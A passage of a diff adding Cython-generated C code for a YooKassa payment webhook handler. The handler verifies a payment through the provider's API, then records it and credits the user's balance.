payment_object = event.get("object", {}) + * payment_id = payment_object.get("id") # <<<<<<<<<<<<<< + * if not payment_id: + * logger.error(" ID ") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment_object, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_payment_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":183 + * payment_object = event.get("object", {}) + * payment_id = payment_object.get("id") + * if not payment_id: # <<<<<<<<<<<<<< + * logger.error(" ID ") + * return web.Response(status=400) + */ + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_payment_id); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 183, __pyx_L1_error) + __pyx_t_7 = (!__pyx_t_6); + if (__pyx_t_7) { + + /* "handlers/payments/yookassa_pay.py":184 + * payment_id = payment_object.get("id") + * if not payment_id: + * logger.error(" ID ") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_ID}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":185 + * if not payment_id: + * logger.error(" ID ") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 185, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L0; + + /* "handlers/payments/yookassa_pay.py":183 + * payment_object = event.get("object", {}) + * payment_id = payment_object.get("id") + * if not payment_id: # <<<<<<<<<<<<<< + * logger.error(" ID ") + * return web.Response(status=400) + */ + } + + /* "handlers/payments/yookassa_pay.py":187 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.find_one(payment_id) + * logger.info(f" API Yookassa: {payment}") + */ + { + __Pyx_ExceptionSave(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_10); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":188 + * + * try: + * payment = Payment.find_one(payment_id) # <<<<<<<<<<<<<< + * logger.info(f" API Yookassa: {payment}") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_Payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_find_one); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 188, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_payment_id}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_payment = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":189 + * try: + * payment = Payment.find_one(payment_id) + * logger.info(f" API Yookassa: {payment}") # <<<<<<<<<<<<<< + * + * if payment.status == "succeeded" and payment.paid: + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_API_Yookassa, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_2}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":191 + * logger.info(f" API Yookassa: {payment}") + * + * if payment.status == "succeeded" and payment.paid: # <<<<<<<<<<<<<< + * web.Response(status=200) + * user_id_str = payment.metadata.get("user_id") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_succeeded, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 191, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_6) { + } else { + __pyx_t_7 = __pyx_t_6; + goto __pyx_L13_bool_binop_done; + } + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_paid); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 191, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = __pyx_t_6; + __pyx_L13_bool_binop_done:; + if (__pyx_t_7) { + + /* "handlers/payments/yookassa_pay.py":192 + * + * if payment.status == "succeeded" and payment.paid: + * web.Response(status=200) # <<<<<<<<<<<<<< + * user_id_str = payment.metadata.get("user_id") + * amount_str = payment.amount["value"] + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 192, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 192, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":193 + * if payment.status == "succeeded" and payment.paid: + * web.Response(status=200) + * user_id_str = payment.metadata.get("user_id") # <<<<<<<<<<<<<< + * amount_str = payment.amount["value"] + * + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_metadata); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_user_id}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":194 + * web.Response(status=200) + * user_id_str = payment.metadata.get("user_id") + * amount_str = payment.amount["value"] # <<<<<<<<<<<<<< + * + * try: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_amount); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_2, __pyx_n_u_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":196 + * amount_str = payment.amount["value"] + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + { + __Pyx_ExceptionSave(&__pyx_t_11, &__pyx_t_12, &__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_13); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":197 + * + * try: + * user_id = int(user_id_str) # <<<<<<<<<<<<<< + * amount = float(amount_str) + * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":198 + * try: + * user_id = int(user_id_str) + * amount = float(amount_str) # <<<<<<<<<<<<<< + * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * + */ + __pyx_t_14 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_14 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 198, __pyx_L15_error) + __pyx_cur_scope->__pyx_v_amount = __pyx_t_14; + + /* "handlers/payments/yookassa_pay.py":199 + * user_id = int(user_id_str) + * amount = float(amount_str) + * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< + * + * await add_payment(user_id, amount, "yookassa") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_15 = 0; + __pyx_t_16 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_15 += 31; + __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_16; + __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u_amount_2); + __pyx_t_15 += 10; + __Pyx_GIVEREF(__pyx_kp_u_amount_2); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_amount_2); + __pyx_t_5 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_17 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) : __pyx_t_16; + __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_17); + __Pyx_GIVEREF(__pyx_t_17); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_17); + __pyx_t_17 = 0; + __pyx_t_17 = __Pyx_PyUnicode_Join(__pyx_t_2, 4, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_17}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":201 + * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * + * await add_payment(user_id, amount, "yookassa") # <<<<<<<<<<<<<< + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_17 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 201, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_17, __pyx_n_u_yookassa_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L21_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 201, __pyx_L15_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 201, __pyx_L15_error) + } + } + + /* "handlers/payments/yookassa_pay.py":202 + * + * await add_payment(user_id, amount, "yookassa") + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_17 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 202, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_17}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L22_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + 